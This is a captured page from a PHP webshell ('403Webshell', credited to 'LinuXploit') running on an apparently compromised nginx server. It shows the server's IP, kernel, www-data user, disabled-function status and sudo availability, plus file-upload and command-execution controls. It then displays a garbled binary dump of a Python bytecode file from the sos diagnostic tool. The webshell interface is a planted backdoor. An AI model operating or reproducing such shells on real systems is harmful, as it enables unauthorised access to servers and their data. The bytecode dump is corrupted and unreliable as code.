403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/sos/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/sos/__pycache__/component.cpython-314.pyc
+
G%@i�R����^RIt^RIt^RIt^RIt^RIt^RIt^RIHt^RIH	t	^RI
H
t
^RIHt^RIH
t
^RIHt^RIHt^R	IHt^R
IHt^RIHtHt!RR
4t!RR4tR#)�N)�fill)�SUPPRESS)�datetime)�getpass)�rmtree)�Path)�__version__)�TarFileArchive)�
SoSOptions)�TempFileUtil�	shell_outc�a�]tRt^toRtRt/tRtRtRt	Rt
RRRRRR	R
RRRRR
RR
RRR^RRRR
R^/t.R*OtRt
RtRtRtR+RltRtRt]R4tRtRtRtR tR!tR,R"ltR#tR$tR%tR&tR't R(t!R)t"Vt#R
#)-�SoSComponenta�Any sub-command that sos supports needs to subclass SoSComponent in
order to be properly supported by the sos binary.

This class contains the standardized entrypoint for subcommands, as well as
building out supported options from both globally shared option lists, and
options supported by that specific subcommand.

When sos initializes, it will load an unintialized instance of each class
found within one recursion of the module root directory that subclasses
SoSComponent.

If sos is able to match the user-specified subcommand to one that exists
locally, then that SoSComponent is initialized, logging is setup, and a
policy is loaded. From there, the component's execute() method takes over.

Added in 4.0
�unsetTF�batch�compression_type�auto�config_filez/etc/sos/sos.conf�debug�encrypt�encrypt_keyN�encrypt_pass�quiet�threads�tmp_dir��sysroot�	verbosityc�d�WnW nW0nRVnRVnRVnRVnRVn^RIpVPVPVP44\VP R7VnVP$'dVP'4VP P)VP*4VP-4VnVP.'EdVP14p\34Vn\4P6P9V4'd,\4P:!V\4P<4'g@RVR2pVR,
p\P>PV4VPA^4W`n!\DPF!RVPBR	7Vn\IVP
4VnVPK4VPEerVPPMR
\N4VPPMRRPQVP44VPPMR\RPT!44VPPMR
R4VPPMRR4VPPMRR4VPPMRVP
4VPPMRVPV4VPPMRVPXPZ4VPP]R4R#R# \d/p\PPRTR24Rp?ELERp?ii;i)FNz'Notice: Could not set SIGTERM handler: �
��arg_defaultsztemporary directory � z"does not exist or is not writable
zsos.)�prefix�dir�version�cmdline�
start_time�end_timer�run_time�compression�tmpdir�tmpdir_fs_type�policy�
components)/�parser�argsr'�exit_process�archiver,�
tempfile_util�manifest�signal�SIGTERM�get_exit_handler�	Exception�sys�stdout�writer�
_arg_defaults�opts�load_policy�load_local_policy�updater"�load_options�configure_logging�get_tmpdir_default�SoSMetadata�os�path�isdir�access�W_OK�stderr�_exit�sys_tmp�tempfile�mkdtempr�_setup_logging�	add_fieldr	�joinr�now�	tmpfstyper.�os_release_name�add_section)�selfr0�parsed_args�cmdline_argsr6�errr,�msgs&&&&    �//usr/lib/python3/dist-packages/sos/component.py�__init__�SoSComponent.__init__Rs������	�#��!���������!�����
�	P���M�M�&�.�.�$�*?�*?�*A�B��D�,>�,>�?��	������"�"�$�	
���!�!�$�"3�"3�4��%�%�'��	��!�!�!��,�,�.�F�'�M�D�M��7�7�=�=��(�(��9�9�V�R�W�W�5�5�,�V�H�A�6���<�<���
�
� � ��%��
�
�1�
�!�L�"�*�*�&�d�l�l�K�D�K�!-�d�k�k�!:�D�����!��=�=�$��M�M�#�#�I�{�;��M�M�#�#�I�s�x�x����/E�F��M�M�#�#�L�(�,�,�.�A��M�M�#�#�J��3��M�M�#�#�J��3��M�M�#�#�M�2�6��M�M�#�#�H�d�k�k�:��M�M�#�#�$4�d�n�n�E��M�M�#�#�H�d�k�k�.I�.I�J��M�M�%�%�l�3�%��=�	P��J�J���F�s�e�2�N�O�O��	P�s�.M6�6N/�#N*�*N/c�H�^RIpVPPVPPVP
R7VnVPPVnVPP4Vn
R# \dTP^4L?i;i)rN)r�
probe_runtime)�sos.policies�policies�loadr>r�
load_prober.�KeyboardInterruptrL�is_root�_is_root)rW�soss& r\r@�SoSComponent.load_local_policy�s|��	���,�,�+�+�D�I�I�4E�4E�:>�/�/�,�K�D�K��;�;�.�.�D�L����+�+�-��
��!�	��J�J�q�M�	�s�AB�B!� B!c��\h�N��NotImplementedError�rWs&r\�execute�SoSComponent.execute�s��!�!�c�a�V3RlpV#)c�6<�RSnSP4R#)TN)r2rL)�signum�framerWs&&�r\�exit_handler�3SoSComponent.get_exit_handler.<locals>.exit_handler�s��� $�D���J�J�Lrq�)rWrvsf r\r8�SoSComponent.get_exit_handler�s���	��rqc��V'd7VPPR4VPPV4\V4h�r)�ui_log�error�
SystemExit)rWr}r[s&&&r\rL�SoSComponent._exit�s4����K�K���b�!��K�K���c�"����rqc��VPP'd5\PP	VPP4pM:\P
!RR4;'gVPPR4p\RV24P4Vn
VPR8Xd"\R4\P!^4V#)z�If --tmp-dir is not specified, provide a default location.
Normally this is /var/tmp, but if we detect we are in a container, then
use a standardized env var to redirect to the host's filesystem instead
�TMPDIRNzstat --file-system --format=%T �tmpfsz�WARNING: tmp-dir is set to a tmpfs filesystem. This may increase memory pressure and cause instability on low memory systems, or when using --all-logs.)r>rrFrG�abspath�getenvr.�get_tmp_dirr
�striprT�print�time�sleep)rWr,s& r\rD�SoSComponent.get_tmpdir_default�s���
�9�9�����W�W�_�_�T�Y�Y�%6�%6�7�F��Y�Y�x��.�O�O�$�+�+�2I�2I�$�2O�F�#�-�f�X�6�
�
�%�'�	
���>�>�W�$�
�>�
?�
�J�J�q�M��
rqc�4a�SPP4P4Uu.uFqPR4'gKVNK	ppV'd;\;QJdV3RlV4F'gKR#	R#!V3RlV44#R#uupi)�listc3�P<"�TFp\SPV4x�K	R#5irk)�getattrr>)�.0�optrWs& �r\�	<genexpr>�5SoSComponent.check_listing_options.<locals>.<genexpr>�s����?�$�3�w�t�y�y�#�.�.�$�s�#&TF)r>�dict�keys�
startswith�any)rW�or>sf  r\�check_listing_options�"SoSComponent.check_listing_options�sm����9�9�>�>�+�0�0�2�K�2�a�l�l�6�6J���2��K���3�?�$�?�3�3�?�3�?�3�?�$�?�?�?���Ls�B�	Bc��\h)zYThis should be overridden by each subcommand to add its own unique
options to the parser
rl)�clsr0s&&r\�add_parser_options�SoSComponent.add_parser_options�s
��
"�!rqc�Z�\4PVPPVP4VPRR7R7pVPRR7pVP
4EF�wrEWBPP49gVR.R39dK0VR9deRF^p\V4\\W44,pV'gK1\Y\W4Uu.uF
pW�9gKVNK	up4K`	VR8Xd�\W4p	VU
u.uFq�PR4^,NK	pp
V	U
u.uFq�PR4^,NK	pp
\V4\V4,F2pVR2p
V	Uu.uFpVPV
4'dKVNK 	p	pK4	\W\\V4\V	4,44EK{WQPV,8wgEK�\WV4EK�	V#uupiuup
iuup
iuupi)	a�(Re-)apply options specified via the cmdline to an options instance

There are several cases where we may need to re-apply the options from
the cmdline over previously loaded options - for instance when an
option is specified in both a config file and cmdline, or a preset and
the cmdline, or all three.

Use this to re-apply cmdline option overrides to anything that may
change the default values of options

Positional arguments:

    :param opts:        SoSOptions object to update

F)�
preset_filterr!Nr�plugopts�=)�enable_plugins�skip_plugins�only_plugins)r�	from_argsr0�
parse_argsr'r��itemsr"r��setr��setattr�splitr�r�)rWr>�cmdopts�codictr��val�oopt�common�x�	oplugopts�v�valnames�	ovalnames�cstrings&&            r\�apply_options_from_cmdline�'SoSComponent.apply_options_from_cmdline�s���&�,�(�(��K�K�"�"�4�<�<�0������7�)�
�����E��2������H�C��.�.�3�3�5�5���r�2��9N���H�H�N�D� ��X��G�D�,?�(@�@�F��v�����8K�-4�8K�1�#$�?�./�Q�8K�-4�5�
O��j� �#�D�.�	�58�9�S��G�G�C�L��O�O�S��9�6?�@�i��W�W�S�\�!�_�_�i�	�@�!�(�m�c�)�n�<�<�F�!'���l�G�2;�!B�)�$�(,����(@�"&��)�I�!B�I�=���4��C��3�y�>�(A�#B�C��)�)�#�.�.���3�'�;'�>���'-4��:��@��!Bs$�.H�;H�" H� H#�H(�/H(c�X�\VPR7pVPPF!pVP\
8wgKRVnK#	VP
VPPVPP4RVP9gRVP9d'VP
VPPR4\P!4^8wd~\PP\P !4R4p\PP#V4'd&VP
W0PP4VP%V4pRVn\)VR4'Ed�VP&VPR,8wd�VP*P-VP&4VnVP&'gT\.P0P3RVP&R	24VP*P54VnR
VnVP&'g VP*P54VnVP9VP&P:R
R7VP%V4p\)VP&P:R4'dUVP&P:P<^8�d0VP?VP&P:P<4V#)
zhCompile arguments loaded from defaults, config files, and the
command line into a usable set of options
r!Nz--cleanz--mask�cleanz.config/sos/sos.conf�presetzUnknown preset: 'z'
T)�
prefer_newr) rr=r0�_actions�defaultr�update_from_confr1r�	componentr'rF�getuidrGrRr�home�existsr�r��hasattrr.�find_presetr:rKr<�probe_preset�list_presets�merger>r�set_loggers_verbosity)rWr>�option�userconfs&   r\rB�SoSComponent.load_optionss��
�t�'9�'9�:���k�k�*�*�F��~�~��)�!%���+�	
���d�i�i�3�3�T�Y�Y�5H�5H�I�����$��D�L�L�(@��!�!�$�)�)�"7�"7��A�
�9�9�;�!���w�w�|�|�D�I�I�K�1G�H�H��w�w�~�~�h�'�'��%�%�h�	�	�0C�0C�D��.�.�t�4������4��"�"��{�{�d�0�0��:�:�"�k�k�5�5�d�k�k�B����{�{�{��J�J�$�$�'8����
�S�%I�J�"&�+�+�":�":�"<�D�K�(,�D�%��;�;�;�"�k�k�6�6�8����J�J�t�{�{�'�'�D�J�9��2�2�4�8�D��t�{�{�'�'��5�5��K�K�$�$�.�.��2��*�*�4�;�;�+;�+;�+E�+E�F��rqc�r�VP'dVPP4VP'dVPP4VP'd\VP4R#R# \d'p\RTRTP24Rp?R#Rp?ii;i)zFailed to finish cleanup: z
Contents may remain in N)r3�cleanupr4r�r,rr9r�)rWrZs& r\r��SoSComponent.cleanup9s���		$��|�|�|����$�$�&��!�!�!��"�"�(�(�*��{�{�{��t�{�{�#����	$��.�s�e�3L��[�[�M�#�
$�
$��	$�s(�B�+B�+B�,B�B6�B1�1B6c���Rp\PPR4'd2\PPR4VPnRpMU\PPR4'd1\PPR4VPnRpVPPV4VPPV4R#)zFNo encryption environment variables set, archive will not be encrypted�
SOSENCRYPTKEYz+Encryption key set via environment variable�SOSENCRYPTPASSz2Encryption passphrase set via environment variableN)	rF�environ�getr>rr�soslog�infor|)rWr[s& r\�_set_encrypt_from_env_vars�'SoSComponent._set_encrypt_from_env_varsGs�����
�:�:�>�>�/�*�*�$&�J�J�N�N�?�$C�D�I�I�!�?�C�
�Z�Z�^�^�,�
-�
-�%'�Z�Z�^�^�4D�%E�D�I�I�"�F�C��������������rqc��VPP'g�RpVR	9d\R4P4pK"VR8Xd\	R4VPnR#VR8Xd\R4VPnR#VR8XdVP4R#RVPnRVPnVPPR4VPPR4R#VP4R#)
N�P�K�EzLSpecify encryption method [P]assphrase, [K]ey, [E]nv vars, [N]o encryption: zSpecify encryption passphrase: zSpecify encryption key: z@User specified --encrypt, but chose no encryption when prompted.zArchive will not be encrypted)r�r�r��N)r>r�input�upperrrrr�r�r�r|�warning)rW�_encs& r\�_get_encryption_method�#SoSComponent._get_encryption_methodSs����y�y�����D��2�2��.���5�7���s�{�)0�2@�*A��	�	�&����(-�.H�(I��	�	�%�����/�/�1�(,��	�	�%�)-��	�	�&���� � �"=�>����#�#�$C�D��+�+�-rqc	���VPP'dVP4RVPP;'gVPPRVPPRVPP/pV'gVP
P
4p\PPVPV4pVPPR8XdiVP
P4pV!W0PVP
VPPW PVP4VnMP\#W0PVP
VPPW PVP4VnVP P%VPP&^8�4R#)r�key�passwordrN)r>rr�rrr.�get_archive_namerFrGrRr,r�get_preferred_archiverrr5r3r
�	set_debugr)rW�name�enc_opts�archive_name�auto_archives&&   r\�
setup_archive�SoSComponent.setup_archiveksB���9�9�����'�'�)��t�y�y�-�-�F�F����1F�1F��4�9�9�(�(���	�	�.�.�
��
��;�;�/�/�1�D��w�w�|�|�D�K�K��6���9�9�%�%��/��;�;�<�<�>�L�'��k�k�(,���T�Y�Y�5F�5F�(0�,�,�(,�
�
�7�D�L�*�,���*.�+�+�t�y�y�7H�7H�*2�L�L�*.�-�-�9�D�L�
	
�����t�y�y�2�2�Q�6�7rqc�*�VPP4pVPFhp\V4P	V4FGp\
PPW14pRFpVPPW4R4K!	KI	Kj	R#)�(--upload-pass[\s=]+)\S+z
\1********N)r�z$(--upload-url[\s=]+\S+://.*:)([^@]*)z!(--upload-s3-secret-key[\s=]+)\S+)	r3�get_archive_path�files_with_upload_passwdr�globrFrG�relpath�do_file_sub)rW�	_arc_pathrG�f�res&    r\�_obfuscate_upload_passwords�(SoSComponent._obfuscate_upload_passwords�su���L�L�1�1�3�	��1�1�D��)�_�)�)�$�/���G�G�O�O�A�1��A�B��L�L�,�,�Q�M�B�A�0�2rqc�b�\P!\P4pVP	\P
!R44TP
VPP^8�d\PM\P4VPPV4R#)�%(message)sN)
�logging�
StreamHandlerr:r;�setFormatter�	Formatter�setLevelr>r�DEBUG�INFOr|�
addHandler)rW�
ui_consoles& r\�add_ui_log_to_stdout�!SoSComponent.add_ui_log_to_stdout�so���*�*�3�:�:�6�
����� 1� 1�-� @�A����!�Y�Y�0�0�1�4�G�M�M�'�,�,�	
�	
�����z�*rqc��\VRR4'd2V'd*VPP\P4\VRR4'dzV'dGVP
P^8�d,VPP\P4R#VPP\P4R#R#)�flogN�console)	r�r	rr�rr>rr
�WARNING)rWrs&&r\r��"SoSComponent.set_loggers_verbosity�s}���4���&�&�9��I�I���w�}�}�-��4��D�)�)��T�Y�Y�0�0�1�4����%�%�g�m�m�4����%�%�g�o�o�6�	*rqc�
�\P!R4VnVPP\P4RVnVP
4'g�VP4Vn\P!VP4VnVP
P\P!R44VP
P\P4VPPVP
4VPP'g�\P!\ P"4VnVP$P\P!R44VP'VPP(4VPPVP$4M�\P!\ P*4pVP\P!R44VP\P,4VPPV4\P!R4VnVP.PVPP(^8�d\PM\P4VP
4'gvVP4Vn\P!VP04pVP\P!R44VP.PV4VPP'gVP34R#R#)z�Creates the log handler that shall be used by all components and any
and all related bits to those components that need to log either to the
console or to the log file for that run of sos.
rhNz&%(asctime)s %(levelname)s: %(message)sr��sos_ui)r��	getLoggerr�rrr	r��
get_temp_file�sos_log_filer�r�rrrr>rr:r;r
r�rrK�ERRORr|�sos_ui_log_filer)rW�console_err�ui_fhandlers&  r\rP�SoSComponent._setup_logging�sF���'�'��.��������W�]�]�+���	��)�)�+�+� $� 2� 2� 4�D���-�-�d�.?�.?�@�D�I��I�I�"�"�7�#4�#4�8�$:�
;��I�I���w�|�|�,��K�K�"�"�4�9�9�-��y�y����"�0�0����<�D�L��L�L�%�%�g�&7�&7�
�&F�G��&�&�t�y�y�':�':�;��K�K�"�"�4�<�<�0�"�/�/��
�
�;�K��$�$�W�%6�%6�}�%E�F�� � ����/��K�K�"�"�;�/��'�'��1��������!�Y�Y�0�0�1�4�G�M�M�'�,�,�	
��)�)�+�+�#'�#5�#5�#7�D� �!�/�/��0D�0D�E�K��$�$�W�%6�%6�8�&:�
;�
�K�K�"�"�;�/��y�y�����%�%�'�rqc�6�VPP4#rk)r4�newrns&r\r�SoSComponent.get_temp_file�s���!�!�%�%�'�'rqc�r�^PpRpVP4FpV\WBRR7,R,pK 	V#)�PrF)�replace_whitespacer )�
splitlinesr)rWr[�width�_fmt�lines&&   r\�_fmt_msg�SoSComponent._fmt_msg�s8�������N�N�$�D��$�t�u�E�E��L�D�%��rq)rgr3r1r'r
r2r	r5r>r0r.r�rrr�rMrr4r,rTr|)zsos_logs/sos.logzsos_reports/manifest.jsonzsos_commands/process/ps_*zsos_commands/selinux/ps_*z+sos_commands/systemd/systemctl_status_--all)rNr{)$�__name__�
__module__�__qualname__�__firstlineno__�__doc__�descr"rCr?rd�
root_requiredr=r�r]r@ror8rLrDr��classmethodr�r�rBr�r�r�r�r�rr�rPrr!�__static_attributes__�__classdictcell__��
__classdict__s@r\rrs������$�D��L����K��J��M�	���F��*����5��t������1��2��4��Q�
�M�  ��64�p.�"�� ��4��"��"�:�x1�f$�
�.�08�4C�"+�7�,(�\(��rqrc�^a�]tRtRtoRtRtRtRtRtRt	Rt
.3R	ltR
RltRt
VtR
#)rEi�a$This class is used to record metadata from a sos execution that will
then be stored as a JSON-formatted manifest within the final tarball.

It can be extended by adding further instances of SoSMetadata to represent
dict-like structures throughout the various sos bits that record to
metadata
c��/VnR#rk��_valuesrns&r\r]�SoSMetadata.__init__�s	����rqc#�f"�VPP4FpV^,x�K	R#5i)�N)r2r��rW�items& r\�__iter__�SoSMetadata.__iter__�s%����L�L�&�&�(�D��q�'�M�)�s�/1c�(�VPV,#rkr1r6s&&r\�__getitem__�SoSMetadata.__getitem__�����|�|�D�!�!rqc�(�VPV,#rkr1)rW�attrs&&r\�__getattr__�SoSMetadata.__getattr__�r=rqc�"�W PV&R#)z@Add a key, value entry to the current metadata instance
        Nr1)rW�
field_name�contents&&&r\rQ�SoSMetadata.add_field�s��$+���Z� rqc�V�\4VPV&VPV,#)zCAdds a new instance of SoSMetadata to the current instance
        )rEr2)rW�section_names&&r\rV�SoSMetadata.add_section�s#��&1�]����\�"��|�|�L�)�)rqc�d�\V\4'g\R4hW PV&R#)z�Add a named list element to the current instance. If content is not
supplied, then add an empty list that can alter be appended to
zcontent added must be listN)�
isinstancer��	TypeErrorr2)rW�	list_namerDs&&&r\�add_list�SoSMetadata.add_lists)���'�4�(�(��8�9�9�")���Y�rqNc�6�\P!VRVR7#)z�Convert contents of this SoSMetdata instance, and all other nested
instances (sections), into a json-formatted output.

Used to write manifest.json to the final archives.
c�.�\VR\V44#r1)r��str)r�s&r\�<lambda>�&SoSMetadata.get_json.<locals>.<lambda>s��G�A�y�#�a�&�,Irq)r��indent)�json�dumps)rWrTs&&r\�get_json�SoSMetadata.get_json	s���z�z�$�"I�!'�)�	)rqr1rk)r#r$r%r&r'r]r8r;r@rQrVrMrWr+r,r-s@r\rErE�s<�������"�"�+�
*�+-�*�)�)rqrE)rUr�rFrNr:r��textwrapr�argparserrr�shutilr�pathlibrrhr	�sos.archiver
�sos.optionsr�
sos.utilitiesrr
rrErxrqr\�<module>r`sN����	��
���������&�"�1�~�~�B1)�1)rq

Youez - 2016 - github.com/yon3zu
LinuXploit